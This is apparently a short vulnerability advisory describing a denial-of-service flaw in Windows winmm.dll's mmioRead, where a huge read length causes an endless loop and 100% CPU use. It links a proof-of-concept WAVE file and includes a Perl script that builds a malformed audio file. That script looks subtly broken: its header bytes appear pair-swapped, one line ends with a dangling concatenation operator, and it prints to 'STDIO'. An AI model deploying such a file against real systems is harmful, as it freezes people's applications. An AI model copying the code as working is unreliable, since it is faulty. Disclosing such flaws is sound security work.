[NT] Windows Multimedia mmioRead DoS Vulnerability

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Windows Multimedia mmioRead DoS Vulnerability


It is possible to create specialy malformed audio file that will cause DoS
in application, that uses Windows's winmm.dll library to access media


According to MSDN:

The mmioRead function reads a specified number of bytes from a file opened
by using the mmioOpen function.
LONG mmioRead(
HMMIO hmmio,
HPSTR pch,
LONG cch

hmmio - File handle of the file to be read.

pch - Pointer to a buffer to contain the data read from the file.

cch - Number of bytes to read from the file.

Return Values
Returns the number of bytes actually read. If the end of the file has been
reached and no more bytes can be read, the return value is 0. If there is
an error reading from the file, the return value is - 1.

As we can see when we pass to big in cch parameter the function should
return -1. This is not what happens. When pushing very large value for
instance 0xFFFFFFFF the function mmioRead enters endless loop. A Proof of
Concept WAVE file has been created and it's available at:
http://sectroyer.110mb.com/mmio_die.wav. When this file is opened by
application SndRec32 it will cause 100% CPU consumption.

# Exploit by Beyond Security

my $wave =
"\x49\x52\x46\x46\x2c\x42\x00\x00\x41\x57\x45\x56\x6d\x66\x20\x74" .
"\x00\x12\x00\x00\x00\x01\x00\x01\x56\x22\x00\x00\xac\x44\x00\x00" .

$wave .= "\xff\x8f" x 11000;

print STDIO $wave;


The information has been provided by <mailto:mmajchrowicz@xxxxxxxxx>
Micha Majchrowicz.


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